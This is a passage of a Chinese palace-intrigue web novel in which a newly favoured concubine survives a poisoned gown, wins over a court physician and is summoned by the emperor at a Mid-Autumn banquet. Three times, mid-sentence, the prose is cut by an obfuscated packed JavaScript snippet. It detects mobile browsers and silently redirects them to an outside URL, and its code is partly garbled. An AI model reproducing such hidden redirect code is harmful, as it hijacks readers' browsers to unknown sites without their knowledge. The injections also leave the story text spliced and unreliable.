宝珠吐吐舌头,知道流萤这是又在敲打她了,忙将托盘上的那件琥珀色杭绸罗裙展开,伺候流萤换上看看。 丝质柔软细腻,挑绣的喜鹊衔枝栩栩如生,尤其是羽毛上掺的金线细如发丝,每摆动一下都有不同的光晕跳出来。确实比她原来穿的贵气许多。 流萤对着铜镜前后转转,便准备脱下来让宝珠洗洗再穿,她闻到裙子上有股陈腐木头的味道。 教习嬷嬷说过,给初次侍寝的新晋嫔妃送礼,是宫里默认的规矩。 流萤以为尚服局的人,是仍不看好被分配到“阴寒宫”的她,才送来堆积仓库的旧衣服糊弄了事。本想着也并非什么大事,日后再算即可,只是等她脱下衣服才发现,这笔账可不能简简单单就算了。 她的前胸后背竟都开始瘙痒难耐,不多会儿便浑身生出红疹。 这衣裳竟被人下了毒。 4. 佳人来访 流萤迅速跑到水缸旁,拿起水瓢就往身上浇。 多年的乡野生活教会她,无论什么脏东西过到身上,及时清洗总是自救的第一步。还喊来宝珠照做,她只红了手心,多洗几遍当即就消褪不少。 “奴才去请太医。”小金子不爱吱声,遇到事却是不含糊。 “你俩一起去,越多人看见越好。” 宝珠不放心流萤自己留在宫里,犹犹豫豫不想走,小金子看懂流萤催促的眼色,直接拽上胳膊就给拉走了。 沁凉的清水一遍遍冲洗,流萤闭上眼睛再次仔细感受。身上并不疼,只有小虫爬过的痒,而且深吸几口气都还算平稳,心跳也并未加快多少。 可见不是什么剧毒。 下毒之人既没想要她的命,那就是只想给她个教训。低头看看自己红肿麻赖的皮肤,有人想让她毁容。 女为悦己者容,是嫉妒她独得了侍寝的机会吗? 可事发突然,从内侍监来宣旨、到被领去甘泉殿,总不过半日的时间,怎能准备得如此齐全? 除非是早在此之前就谋划好了的。 流萤越想越觉蹊跷,入宫十日未到,她连宫中嫔妃都没认全,尚服局里更是不曾见过一人。能跟谁生了过节? 皇上肯定不是。他如果还要罚,昨晚就不会放她回宫……莫不是彩秀?她口中那个庇佑她的人,手竟真的能伸这么远吗? 可彩秀身上又有什么值得那人如此大动干戈的呢? 八月日头热辣,打在身上犹同天边炼炉倾泻而下的熔金,光站在院子里思索的这一会儿功夫,流萤身上裸露的水迹就已被完全晒干,进而被隐隐升起的灼烧感取代。 好在太医署的人还算医者仁心,并未摆什么架子就跟宝珠二人过来了。 流萤指着扔到墙角的那件杭绸罗裙,想让来人先看看衣服上是什么毒物,再来对症下药。但未等开口,那人好像就读懂了她的眼色,直接过去检查了。 “金色羽毛刺绣上掺的黄色粉末是松香粉,无毒。但为多工艺用料,比如制成油墨,或是调和成粘合剂用于首饰缀色固边。皮肤若接触过多便会引发瘙痒或红肿。” 原来那股陈腐木头味儿是松树。 “可是主子浑身不光肿胀,起的还全是红疹呢,贺医正您快过来给瞧瞧吧。” 他也姓贺? 流萤这才仔细端详眼前这个正隔着纱帘检查自己胳膊的太医,面容清瘦干净,约莫二十出头的样子。这么年轻,能有几分本事? “贺才人昨日用玫瑰入浴了吧?玫瑰味甜,却实属辛辣,经由热水浸入皮肤,表面虽看起来莹润粉嫩,实为皮肤受了刺激泛红。再加之今日大量松香粉覆盖,两两作用,才形成了更为严重的红疹。” 流萤吸鼻嗅嗅,确实还残留一丝微弱的玫瑰香气。他倒是观察得细致。 “松香粉是由松树干上采割而得的树脂粉碎制成,不溶于水。才人懂得及时用清水冲洗,是不幸中的万幸。若任由粉末一直附着在皮肤上,恐怕此刻早已灼伤溃烂、不复完整。” 竟能有这么严重的后果? 怎么说她也是刚得侍寝的,那人就不怕事情闹大了不好收场吗?还有尚服局,如此明目张胆送过来带毒物的衣裳,他们又有什么本事能洗净自己的嫌疑? “臣先开两个方子内服外敷,隔三日复诊。只要才人配合治疗,相信不出一月定可消退无痕。” 流萤深吸口气,隐下眼底的愠怒,“那就多谢贺医正了。咱们也算本家,可否多问一句是何方人士?” “臣名贺九仪,祖上苏州。” 贺九仪答得规矩,一字不多言。流萤略微点点头,也不再发问,只让宝珠带他去侧室写方子,临走才轻言开口,提了一个小要求。 “下次复诊,给我带一盆薄荷可好?” 忽视掉贺九仪神色间泛起的诧异,流萤继续娓娓道,“薄荷有清凉舒缓、镇静醒脑的功效,佐我一时半刻也出不了宫,摆一盆在卧室清清空气、或是煮煮薄荷水擦身,应该都对恢复有益吧?” “自然。” 贺九仪拱手应下,行了礼稳步离开。流萤便喊小金子再去内侍监通传一声,将她的牌子撤掉,就说这一个月内都无法侍寝了。 宝珠心疼得直掉眼泪,好不容易拔得头筹面了圣,却遭人暗算。宫里娘娘那么多,若真等上一个月,皇上还能不能记得主子都不好说了。 但伤心归伤心,分寸不能乱,“那奴婢也去贤妃娘娘宫里帮您请示一下吧。”上次猜数一事她就漏掉了最重要的信息,这次可不能再耽误主子了。 “我就是下不了床,也没得有那么大架子支使一个小宫女去给贤妃娘娘传话。”流萤用指头戳了戳宝珠的额头,“放心吧,明儿一早我就去承德宫。” 当朝皇后是镇国大将军唯一嫡女,也是太后的亲侄女。在闻寻登基同年册封,当时只有十岁,是太后力排众议,一路领上来的。 十岁孩童如何管理后宫?自然得有能替她处理一切的人,这个人就是贤妃,阮清澜。 贤妃也是太后的侄女,但出自旁系。十五岁嫁与闻寻做太子良娣,将太子府打理得井井有条,连太后都称赞其端贵淑静,贤明有德。后来闻寻称帝,她自然也被赐予了协理六宫之权。 流萤裹着头纱站在承德宫门前,素净小脸儿未施粉黛,倒被清晨阳光照得通透。若非脖颈间泛红一片,还真看不出哪里破了相。 漆红宫门吱呀打开,贤妃跟前儿的掌事姑姑琼英,含着客套笑容从里头走了出来。 “娘娘听了贺才人来意,夸您懂事。伺候皇上确实容不得马虎,难为您才刚入宫,礼数便如此周到。只是娘娘此刻正在礼佛,实属不便接见,特吩咐奴婢取了两盏血燕给您带回去。回头您再问问太医,看能否补补身体,别跟汤药相冲了才好。” 流萤托着双手快步上前,故意将手腕上密密麻麻的疹子露出一大截,才从琼英手上接过东西。 “有劳姑姑代我向娘娘再请示一件事儿。我这样子着实吓人,也怕惊到别的姐妹,这段时间便不出银汉宫了,等大好了再来回谢娘娘。” 既然贤妃不想见自己,那便正好免了晨昏定省吧。 由于皇后年纪尚小,宫中一切事物暂由贤妃代理,故晨昏定省的地点也落在了承德宫,一落就是三年。嫔妃们每五日一聚,明儿正该是拜见的日子。 “贺才人说的是,想必娘娘不会不同意的。” 流萤想,如果撒松香粉的人只是想敲打她莫要太出头,那她主动避宠,此人也就该暂且收手了。若此人是为了彩秀报复自己,那她紧闭银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339250|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汉宫的这一个月就是再次下手的绝好时机。 她倒要看看,这笔账究竟要算到谁的头上。 既说了一个月不出门,那今日便好好逛逛再回去。主仆俩在御花园里绕来绕去,等回银汉宫时已是飞霞过境。 天空将整个宫殿也染上了淡淡的胭脂色,一个身着翠烟罗裙的女子站在绯红宫墙下,发丝轻舞,张望着来人的方向。 这是…… 那女子看过来的眼神也充满了不确定,好像有些惶恐,又好像有些惊喜。 “贺姐姐?”是女子先开了口,她看不太清逆光里的流萤,试探地往这边走了两步。 流萤也慢慢迎过去,盯着那张婉约含蓄、纯洁如木槿花一般的脸,在脑海中迅速搜索起来。“汪才人?” “是我。听说……听说你病了,特来看看你。” 汪芷柔说得很小心,边说边往流萤脸上扫,“可你看着全不像他们说的那样吓人,想是已经无大碍了吧?” “他们说的应该是这样吧。” 流萤轻笑一声,毫不顾忌撩开袖子,往汪芷柔面前伸了伸,着实把她吓了一跳。 汪芷柔循着她的动作,赫然看见满臂的红疹,本能地要上手捂眼睛。可才刚抬起来就意识到这样很伤人,便立即垂下,甚至还像犯了错误怕被打手心一般,将手藏到了身后,这才诚惶诚恐地说了句抱歉。 “无妨,确实挺丑的。汪才人找我有何事吗?”流萤放下袖子,话说得平淡而疏远。 汪芷柔也是今年新进宫的秀女,京兆府尹之女,比流萤还小一岁,方十五。 进宫那日同在承德宫候着听贤妃训话时打过招呼,后来各自分了宫殿就没再见过。因为未得侍寝的嫔妃无资格参与晨昏定省,只能私下里走动,而银汉宫闹鬼,根本不会有人来。 撒松香粉的人会是她吗? 她与自己同封才人,确实最有竞争关系。 “这是芦荟膏。”汪芷柔从怀中掏出一个白瓷罐,忐忑递到流萤面前。 “这是我娘自己做的,除……除疤效果很好。每年夏天我都特别爱招蚊子,被叮了又忍不住挠,娘就给我涂这个,即使挠破了也不会留印子。” 可流萤不仅没接,充满审视的眼神里还生出一丝复杂。直到汪芷柔咬咬唇,像是下了很大决心般卷起袖口,拧开罐子取了药膏往自己手腕上抹,“你看,一点儿不疼的。” 她才煞有介事点点头,“谢了。” 说罢便行了个平礼,径直迈进了大门,连客套邀请汪芷柔进去坐坐都不曾。 宝珠跟在后面有些尴尬,主子明明不是刻薄的人,但她也不懂为何要这般冷脸相对给她送药之人。只好讪讪行一礼,留下汪芷柔和她的婢女桂儿,快步去追已经走远的流萤。 桂儿又气又急,“主子您瞧,早就说咱们别来了,您这东西送了人家也不会领情的。” “没关系,她不是坏人。” 汪芷柔仍是忧心忡忡地往门里面张望两眼,确定一点儿人影看不到了,才拉着桂儿回去。 今年共有三名秀女入选,两个五品才人是流萤和汪芷柔,还有一个六品宝林叫孔映欢。 初进宫那日,孔映欢巧言令色,想跟汪芷柔换走贤妃赏赐的一对翠玉镯,最后还是流萤一把帮她抢回来的。 5. 贤妃设宴 在流萤闭宫的第二日,皇上传召了汪芷柔侍寝,尚服局自然也要送“见面礼”去庆祥宫。但宝珠出来溜达一天,也没探听到汪芷柔那边有何不对发生。 “主子,真的不跟贤妃娘娘说说原委吗?您是可差一点就要毁容了啊。” 流萤去找贤妃告假时,只说自己是初入宫水土不服发了敏症,一点没提松香粉的事儿。 “诉苦是最没用的东西,除了能让害你的人看笑话,此外一无是处。” 流萤一边慢条斯理说着话,一边挑挑拣拣清空妆台上的杂物,腾出铜镜旁一块儿不大不小、刚好够放一盆花的地方。 “还是说,你觉得贤妃会因为一个小才人的三言两语、就大张旗鼓去找在她管辖下多年无错漏的尚服局麻烦?” 宝珠闻言立刻生出错愕,从前她还不知道,主子间竟也有这么多花花肠子。方才还一脸的不忿,此刻也全然懈了下来。 “记着,不确定真凶之前,永远不要做空口无凭的控诉。”流萤扫到铜镜里映出宝珠落寞的脸色,心想这丫头倒是个实心的,便起了心思多教她两句。 “他们巴不得看你气的跳脚,然后‘信口雌黄’在众人面前发泄一通,最后却因无凭无据而失败退场,甚至沦落得众叛亲离。这简直比亲手杀了你、还让人兴奋。” “所以你真正要做的,就是用尽一切办法找出幕后黑手,然后加倍还回去。天理公道永远只掌握在你一人之手,千万不要幻想别人能替你伸冤。因为你所求助之人,极可能会推你坠入更黑暗的深渊。” 相处半个月,流萤一直留心观察身边的这两个人。宝珠是个简单坦率的,什么心事都写在脸上,小金子则整日埋头干活,有问才有答。二人都没有飘忽不定的眼神,也没有阳奉阴违的动作。 暂且算是可用之人。 见宝珠有些被自己的话吓到了,便换回些温和模样,吩咐她去门口迎迎贺九仪。记得他上次也是这个时辰来的。 流萤猜得不差,宝珠刚走到前厅,就碰上小金子领着贺九仪进来,怀里还抱了一盆薄荷。宝珠得令接过,正放在她刚刚收拾出来的妆台上。 “贺才人用了两日药,可有哪里觉得不适吗?” 贺九仪依旧坐到纱帘外,检查流萤露出的一小节手臂,偶尔还用细竹片压压疹子,像是在试皮肤的弹性。 “药到病除,我看着已经好了大半。” 身上红疹渐渐褪成褐色,有些干瘪硬结的眼看也要自行脱落,恢复速度比流萤预计的不止快了一星半点。可见医术跟年纪,也不全然挂钩。 继而掏出汪芷柔给的芦荟膏,推到纱帘另一侧,“请贺医正看看,这药膏我能不能用?” 汪芷柔看着傻里傻气的,若真想害她,倒也能干出送药上门、自投罗网这档子事儿。流萤从不接受、也不相信别人对自己无缘无故的好。 贺九仪接过拧开盖子,放到鼻尖嗅了嗅,又用银针蘸取摊在纱布上,反复几次后才略微颔首,给了肯定的答案。 “芦荟叶、龙脑片、紫草、当归和蜂蜜。这是最简单的芦荟膏,清凉解毒、消炎止痒,贺才人可放心涂用,并不与臣的方子相冲。” 她竟真是好心。 可她图什么呢? 若是想在宫中拉拢人、彼此间相互照应的话,不是有大把人选等着她攀吗?怎会把目标放在一个与自己同品阶、竞争压力最大的人身上? 这人的脑子还真是不灵光。 不说贵妃、贤妃那种远的,单说汪芷柔所居庆祥宫的主位关充媛,正二品的位份,护她也绰绰有余了。 流萤还在思索,贺九仪已经放开她,起身去一旁开新方子,“贺才人恢复得不错,想必臣嘱咐的那些忌口事项也是仔细遵守了。” 轻轻吹着方子上未干的墨迹,连带说出的话都比上一次多了些温度。“这次臣将黄莲的计量减少,不会那么苦,相信才人的食欲也能恢复许多。但切记,仍需忌辛忌酒。” 黄连味苦,除了清热解毒,还有一个隐藏功效就是抑制食欲。 流萤想到这儿忽而就笑了。像是突然听到什么好笑的事,笑声短促而清脆。 在旁几人也被吸引朝她看去,唯有纱帘对面的贺九仪看不清她脸上究竟是什么表情,但穿堂而下的细碎阳光还是透过纱帘些许,勾勒出一张熠熠生辉的笑脸。 真的很像。 这想法仅在贺九仪心里电光火石般闪过一瞬,他便立刻扭过头去,守着规矩不再抬眼望。 “主子笑什么呢?”坦诚如宝珠,不懂就直接问了出来。 “难为贺医正有心,怕我管不住嘴还用了这样的法子。可我偏偏最爱苦的酸的,越苦越好、越酸越妙。若是黄莲正对病症,还请不要吝啬才好。” 流萤没有说假话,十六年来,她确实只吃过一次甜食。 趁贺九仪微怔的功夫,流萤已然拿出一早备好的绒布袋递到他手上,里头装着的是一枚成色上乘的青玉扳指。 人活在世唯一不能自己做主的,就是生老病死。尤其在这密不透风的皇宫里,无论大病小情都只能依靠太医署救命。是以流萤早就想好,必要找个有真本事的太医搞好关系。这次松香粉的事儿不过是歪打正着,将她的计划提前了而已。 贺九仪敛眉看了一眼绒布袋,张口便要婉拒。可流萤早有预料,直接一句话将其噎了回去。 “谢谢你的薄荷。” 决口不提谢他医治的话头,他便没法道出贯用的那一套“只是臣分内之事”的说辞。 上次看诊,流萤主动说起二人是同姓本家,任谁都看得出是想套套近乎。可贺九仪根本不接话茬,显然是不愿跟嫔妃有纠缠,又或者说不愿跟自己这种位份低、看不到什么前途的嫔妃有瓜葛。 但今日,贺九仪仍带来了自己求的薄荷,就证明他的疏离不是第二种原因。 那么他不愿跟嫔妃过多纠缠这一点就正对流萤下怀。且看他一脸的清风正气也不似作假,便知此人应是向来如此性子。这就更让流萤满意了。 唯有贺九仪接触旁人浅,才没机会将自己的事往外说。 是以这次,她递出明确示好的青玉扳指试他态度。虽说真正的考验得在事儿上碰,但至少也要先将人拉进来。 然她不用普通赏银,无非是想让贺九仪记住,这跟他从别处看诊后得来的打赏不一样,完全是对他肯帮忙的感谢。并且希望下一次,他也能有求必应。 但贺九仪仍犹豫着不肯收下,流萤就一把抽回手,边转身往内室走,边嘱咐小金子妥帖送客,不再给他开口拒绝的机会。 此后的日子,贺九仪仍是三日来一次,只谈病情,不谈别的。方子一点点减量,流萤身上的疹子也一点点消退不见,直至第四次复诊,她已全然大好。 欣赏着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339251|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脱变后堪称白璧无瑕的身子,流萤倒觉出几分因祸得福的意思。 她从未想过自己也能拥有羊脂白玉般细腻光滑的肌肤,就连腰间的那道伤疤也浅了许多。不禁闭目轻抚,指尖就如同在最柔软的丝绢上轻轻拂过,平滑得感觉不到任何阻力。 唯有轻轻按压,方能感受到肌肤微微凹陷后旋即弹起的轻盈质感,和初春嫩芽一般,满是生命的活力。 宝珠也觉流萤换皮后的美貌更加惊为天人,时不时就问,是否该去通报内侍监把她的牌子重新递上。 流萤却不急。递不递牌子是次要的,皇上想不想见才最重要。 听说近来除了三名新秀女,其余无一人被传召去过甘泉殿。 回想起诓人的猜数侍寝游戏,以及甘泉殿中那副恣意妄为的春宫图,流萤猜测,闻寻并非不喜欢有女人在身边,而是抉瑕索瘢,挑人伺候。 那么闻寻到底喜欢什么样的女人呢? “明日中秋,贤妃秉太后懿旨在承德宫代办设宴,邀众妃嫔品酒赏月,咱们去也瞧瞧热闹。” 中秋是大节,闻寻照理也会去。再没有比这个更适合重新亮相的契机了。 流萤换上一条鹅黄簇锦的绉纱留仙裙,外罩浅月色暗纹素绡,朦胧又仙气。再簪两根透着微妙光芒的白玉簪,正衬今晚的动人月色。 贤妃对流萤的到来有些意外,见她非但打扮得花容月貌,领口展露的肌肤更是莹润无暇,转念就猜到了来意。旋即笑笑,吩咐琼英速去加张小桌。 幸而流萤仅是五品才人,在她品阶之下的只有宝林孔映欢和采女闵悠悠,随意挤在汪芷柔的旁边也就是了,并不会打乱其他排好的座次。不然贤妃可能不会答应得这么痛快。 汪芷柔见了她自是开心,还悄悄将坐着软垫往流萤方向移了少许。可被换走的孔映欢却是满脸不愿,但耐于琼英还在一旁不好发作,只得气鼓了眼、拿手中瓜子发泄。 流萤缓缓坐定,望着四周着绫罗、戴珠翠的各色女人,灯火荧荧,恍若让她看见了另一群女人。即便那群人只有素袍斋帽,在同样的夜里,笑容也同样绚烂生魅。 她借着举杯,偷偷瞄看最上首的几个人,试图各自对上名号。但看来看去,终归也只确认得出皇后、贤妃和贵妃。 皇后阮佲伶,戴凤冠独坐正中,将满十三岁,满脸稚嫩,跟一旁老成稳重的贤妃形成鲜明对比。 另一侧是温雅敛笑的贵妃,宋灵书。成宣元年进宫,虽也被赐予协理六宫之权,但三年来一道旨意没下过,宫里嫔妃有事儿也都不会去找她商议,更像是个有名无实的空壳。 用王爷的话说,贵妃完全是稳固朝局的牺牲品。即便有着中书令嫡长女这样显赫的身家,也无法为自己争上一争。 丝竹声响,视线也被鱼贯而出的宫人们扰乱,随之而来的便是一碟碟珍馐美味递到流萤面前。目光扫来扫去,终于在一盘醉蟹上满意落下。 醉蟹色泽红亮,散发着淡淡的酒香和蟹肉的鲜甜。流萤拾起银质小蟹锤,左右张望看看仿佛不知如何下手,但没见何人动,便自行试着砸了两下。声音不大,动作却很狼狈,旋即引来对面几声轻笑。 “先用蟹锤敲碎蟹壳,再用蟹针挑出蟹钳中的肉。贺才人若是不急,也可等宫人帮你拆卸。” 流萤寻着声音抬眼,说话人坐在贤妃下首,按着座次排,应是……二品修媛叶知秋? 6. 不欠人情 “只是听闻贺才人犯了敏症,醉蟹生凉又含酒,还是不食为好。” 流萤要的就是这个效果。 不着痕迹勾了勾唇角,又在起身的瞬间恢复赧然,“多谢娘娘提醒,是嫔妾心急贪嘴了。本就忌口许久,加之渭州地小,实属没见过这等好东西,倒叫各位姐姐见笑了。” “听贺才人这话,敏症可是大好了?” 叶知秋的话引起众人侧目打量,虽然距离较远,但还是能看清立身回话的流萤。本就妍姿俏丽的一张脸,有沉沉夜幕做衬,胸前领口展露的白皙肌肤更如玉盘般盈润。光是亭亭立在那里,便可有用仙人之姿来形容。 这些人本是想看看笑话,不料却把自己看得牙根痒痒。 平心而论,流萤的美貌在宫中绝对数一数二,早在她初入宫时就引起不小骚动,即便跟盛名在外的凝婕妤碰一碰,也毫不逊色。 只可惜凝婕妤一如既往地称身子不适,没来赴宴,不然定会被嘴碎之人拉出来跟流萤比上一比、讨论一番。 “多谢娘娘关心,本就不是什么大病,调养半个月已然好了。”流萤不紧不慢说着话,眼光却暗暗瞟向叶知秋,想要看懂她的言下之意。 中秋席面必有正当季的蟹子,这是多少年留下来的规矩。 流萤想在生寒发腥的蟹子上做文章,借旁人之口道出自己敏症已好的事实。不过她设想的这个旁人,本应该是“最近唯一关心过她”的汪芷柔。怎么会变成素不相干的叶知秋呢? 叶知秋又为何会注意到自己?她说这话到底是有心嘲笑?还是无意插柳。 还是说……是在敲打自己?难不成松香粉就是她下的? “嫔妾还要多谢贤妃娘娘赏赐的补品,太医说正适合调养气色,不然也不会好得这样利落。”流萤暂且收回思绪,朝着贤妃的方向盈盈一拜。 今日高调亮相的另一目的,就是想让掌管后宫一切的贤妃主动将她的侍寝牌子加回去。 流萤很清楚,在这个权力至上的地方,很多“事实”都是由当权者才说得算的。 像她这样的小才人,即使给内侍监通报了可以重新递上侍寝牌子,他们也要拿到贤妃面前等待批准。虽说贤妃不会不同意,但搁置个十天半月却是可能的,毕竟当初是流萤自己说得闭门养病一个月的。 贤妃再大度,也不会好心做这个顺水人情。她只是个才人,还是永远不会得太后和皇上喜欢的才人,实在看不到她身上能有什么回馈的好处。 “无妨,早日痊愈,也就能早日侍候皇上。本宫还盼着你们为皇上开枝散叶呢。”贤妃端贵带笑,可话里却像藏了刀子,字字扎在众人心上,连带她们看流萤的眼神都狠下了几分。 谁不想绵延皇嗣?那是荣华后半生的关键所在,可她们也得多些机会才行啊。自从有了那个猜数侍寝的鬼法子,很多不走运的两三个月也见不到皇上一次。再看看流萤那张花容月貌的脸,必然要生出了皇上早晚被她迷惑了去的遐想。 不愧执掌后宫多年,贤妃说话还真是有一套。短短几字就把她放在了风口浪尖上。不过无妨,流萤要的本就是掀起大风大浪,直到浪足够高、风足够大,才好把这皇宫彻底覆灭掉。 “贺姐姐可用了那盒芦荟膏?”待流萤重新坐下,汪芷柔便喜笑颜开凑过来,好像真的为她痊愈而开心。 流萤心有所想,随意点头嗯了一声,举起手中杯盏敬她示意感谢。汪芷柔欣然附和,一口下肚,又说了好些有的没的。 眼见宴席过半,皇上都没有现身的意思,众人不免失望。但不敢拂贤妃面子,依旧乖乖按着进程上前献艺,或吟诗作对,或抚弦弄管。 虽无法在皇上面前脱颖而出,但能在贤妃这里换回些实实在在的恩赏也是不错的。是以一个个的即便算不上争奇斗艳,也称得上尽心卖力。 “不知三位新人妹妹都有何才艺?贤妃娘娘也该叫妹妹们展示展示,总看我们这些老人也没个新花样。” 开口挑刺的是充媛关采曼,也就是汪芷柔所居庆祥宫的主位娘娘。 流萤下意识看向汪芷柔,以为这二人在做扣,目的是为了让汪芷柔露露脸。 可看汪芷柔方才还是兴致勃勃的神色几乎是一瞬间就消失不见,继而换上惶恐不安,像是要有坏事发生一样。 流萤感到奇怪,不自觉提高警惕,默默回望贤妃的方向等待发话。可下一刻,声音却在她对面响起。 “娘娘,嫔妾愿为在座姐姐们献曲一首。” 竟是孔映欢着急当这个出头鸟。 贤妃欣然同意,许她上前一展歌喉。孔映欢唱得婉转悠扬,再配上小家碧玉的俏生模样,确实分外动听。 可汪芷柔却是一个字都没有听进去,自顾自绞着帕子眼神乱飞,时不时偷瞄关采曼的方向,紧张得不能再紧张。直到贤妃点名叫她,才怯怯起身道自己愚钝,没什么好展示的本事。 “汪姐姐莫要害羞。娘娘也是想趁这个机会让咱们跟宫中各位姐姐熟络熟络,如此一番好意,你可不要辜负了才是啊。” 孔映欢似乎看出汪芷柔有什么难言之隐,揪着她不放。甚至还嫌不够,调转话头又对流萤施压上,“或者让贺姐姐给你打个样儿,一定比妹妹我强。光看贺姐姐那婀娜轻盈的身段,就知是个善舞的。” 其实要说歌舞乐器这些,流萤还真的不会什么。就算后来王爷找了大家教她,也没学出个所以然来。唯有读书识字她是真的上心,算弥补了从前没钱念学堂的遗憾。 “孔宝林莫不是忘了,初入宫在皇上和贤妃娘娘面前回话时,我便说过年少贪玩学艺不精,除了会写几笔字再没别的能拿出手的了。” 这话明面是在怼孔映欢,暗里也在提醒贤妃,她是知道自己什么都不会的,万没有再逼着她献艺的道理。 余光扫到汪芷柔依旧满脸惶恐,便起了心思替她也补上一句,“汪才人也是,除了女工一概不行,远不如你这般多才多艺。日后若有机会,咱们再请教请教。” 流萤所言确实如当日觐见时所说一般,贤妃记得,自也不会为难。只是心里悄悄往流萤的名字加了两笔,聪明、张扬,就是不知能笑到几时。 旋即开口打个圆场,此事便也算过去了,宴席很快恢复盈盈笑语,像是什么都没发生过,就连孔映欢献唱的那一曲,也再没人记得是什么调子。 “方才多谢你了,我……” “无妨,我只是看不惯她那小人得志的样子,再者,我也不想你欠人情。” 流萤指的当然是汪芷柔给她的那盒芦荟膏,虽然没用上,但总归一片好心。便漫不经心地打断了汪芷柔的话。 她从不跟别人诉苦,自然也不喜欢听别人抱怨。而且她并不好奇汪芷柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339252|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在恐惧什么,反而是今晚顺着她设套的叶知秋更能引起她的注意。 就像此刻,流萤能真真切切感受到侧方有一道不算灼热、却很紧盯的视线正在暗处一瞬不瞬地注视着她。她不敢草率抬眼,万一恰好对上那人视线,反倒容易打自己个措手不及。 还是先静观其变的好。矫捷如豹,捕食也只扑咬一次。 遂低下头,继续佯装把玩手中的白玉酒盏,忽听一个尖细高亢的太监嗓音响起,“皇上驾到!”在场众人立即起身下跪,恭迎圣安。 宴席都快结束了,闻寻却来了? “皇帝哥哥!”皇后率先起身,笑嘻嘻扑到闻寻怀里,一副贯跟自家兄长撒娇的亲昵模样,“还以为你不来了,我们都要回去了呢。” 闻寻半推半就,“不早了,你确实该回去睡觉了。”熟练摘下挂在身上的两只小胳膊,独自坐到给他预留好的正座上。 在场无一人不开心闻寻的到来,连最矜持端方的贤妃也亲自上手给他布菜,但被他抬手叫停。只留下一壶玉露酒,着宫人倒酒,兀自喝了两杯。 “今日怎么如此安生?” 许是下方女人们望过来的眼神太多太杂,惹得闻寻很是不耐烦,便开了口想转移她们的注意。记忆里,每到这种场合,总不乏花孔雀似的人唱唱跳跳,等着他挑选投喂。 “是皇帝哥哥来晚了,她们早都表演完了。”不知皇后是否真的看不懂闻寻对她的疏离,依旧露着小虎牙跟他搭话。 “可有什么好看的?” “没有。嘻嘻,但有两个啥也不会的。” 声音不大,但耐不住大殿安静。 二人无遮无拦的对话轻飘飘就钻进了众人耳朵,引得大家轻掩帕子朝流萤方向笑看过去,那不言而喻的嘲讽即使只从眼睛里也跑出得很快。 汪芷柔闻言更是坐立难安,小脸臊得能滴出血来。偷偷看流萤却仍是气定神闲,仿佛什么都没听到一般,急得她不知如何是好。只能紧抿着唇将头埋得更深,祈祷皇后不要再说下去。 但事与愿违,有人偏不肯放过这个让他们难堪的机会。 “皇后娘娘说得不尽然,贺姐姐能写字、汪姐姐会女工,并非没有一技之长。” 孔映欢自是最想出这口恶气的人。 三人同时进宫,论样貌她比不过流萤,论家世也赶不上汪芷柔,处处低人一等的不甘让她一直记在心里。今日自己方略胜一筹,却没讨到丁点好处,怎能允许他们笑着离开。 但闻寻仿佛没听到一般,甚至连眼皮都不曾抬一下。只留孔映欢一人吃瘪站在原地,搬起石头砸自己的脚,变成众人嘲笑的下一个对象。 她们在宫里时间长,都清楚闻寻阴晴不定、不爱理人的性子,根本不会冒然搭话。 大殿一时间陷入沉寂,孔映欢此刻也意识到了自己的莽撞,踟蹰着要不要主动请罪,又怕闻寻依旧视她若无物。 好在闻寻并未真的动怒,独独饮下一盏,漠然开言,“那就散了吧。” 顺势起身,不着痕迹往流萤的方向睨了过去。见她一副事不关己、毫不在意的样子,由不得暗自嗤笑,确认了心中所想。 那股来时就在心里积下的怒火自是更盛。阴恻恻的目光略过席间众人直冲流萤而去,仿佛已经迫不及待要亲自动手惩治她。 “贺才人,你跟朕走。” 7. 留宿紫宸 跟他走? 跟他走? 走去哪里? 甘泉殿侍寝吗? 一语惊起四座,所有诧异目光几乎是同一时间向流萤扫射而来。惊羡或妒恨,皆化作赤焰火把,势要在流萤身下架起油锅,只等将她油煎殆尽。 中秋寓意美好团圆,唯有帝后共处,才勉强不会造人嫉妒。她一个初来乍到的小才人算什么?难道真凭着狐媚样迷惑皇上了吗?立刻就有不服叫嚣的在下面碎起嘴来。 贤妃对此也颇感惊讶。 在闻寻身边五年,她很清楚闻寻一直对当初那件事心怀芥蒂,以致于男女情爱什么的,从未在他身上出现过。更不会有何心思在宫宴上就指名道姓要哪个嫔妃随他离开,即便是对勉强入眼的凝婕妤也不曾当众这般。 可闻寻脸上又分明不见任何玩笑之意,尤其那对蓄势待发的眸子,就那么一瞬不瞬地盯着流萤。仅管眼光里依旧是他看人时惯有的鄙夷不屑,但贤妃还是隐隐觉察出一丝不一样的苗头。 